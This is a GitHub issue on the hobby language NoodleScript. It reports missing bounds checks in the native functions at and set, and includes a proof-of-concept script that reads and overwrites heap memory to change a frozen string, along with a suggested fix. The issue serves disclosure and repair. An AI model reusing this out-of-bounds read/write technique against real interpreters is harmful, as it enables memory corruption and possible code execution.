OfficialCodeNoodles / NoodleScript

This is a simple interpreted programming language that has syntax and features heavily inspired by Python, but with an Italian twist!
56 stars 13 forks source link

No Boundary Checks for Native Functions #2

Open alexandre-lavoie opened 6 months ago

alexandre-lavoie commented 6 months ago

This was done for fun.

Note: this will only execute in Release build. Debug has additional checks for these type of bugs.

Overview

Native functions at and set do not check boundaries for the passed data structures. This allows to arbitrarily read and write heap memory.

PoC

The following script scans the heap memory using at to find frozen noodle vuln. If it finds it, it replaces its content to msg using set.

recipe pwn(noodle target noodle msg) 
    noodle ptr = ""

    noodle c = ""

    noodle i = -10000
    noodle j = 0

    while i < 10000
        j = 0

        while (j >= 0 && j < len(target))
            c = at(ptr i+j)

            if c == "X"
                j++
            else
                j = -1
            eat
        eat

        if j > 0
            while j >= 0
                set(ptr i+j at(msg j))

                j--
            eat
        eat

        i++
    eat
eat

recipe main()
    frozen noodle vuln = "XXXXXXXXXXXXX"

    serve(vuln "\n")

    pwn(vuln "VULN HIJACKED")

    serve(vuln "\n")
eat

main()

The following shows the content of vuln before pwn was executed and after pwn was executed.

Capture

Impact

With a specially crafted payload, memory could be corrupted in a way to execute arbitrary code on the host machine.

Probability

This can only work if you run a malicious payload.

Don't run code you don't understand!

Fix

When indexing into data structures, make sure index >= 0 and index < data.size(). std::string::at and std::vector::at can be used to do the check.

jakeSteinburger commented 5 months ago

You put way too much effort into this.

Thanks.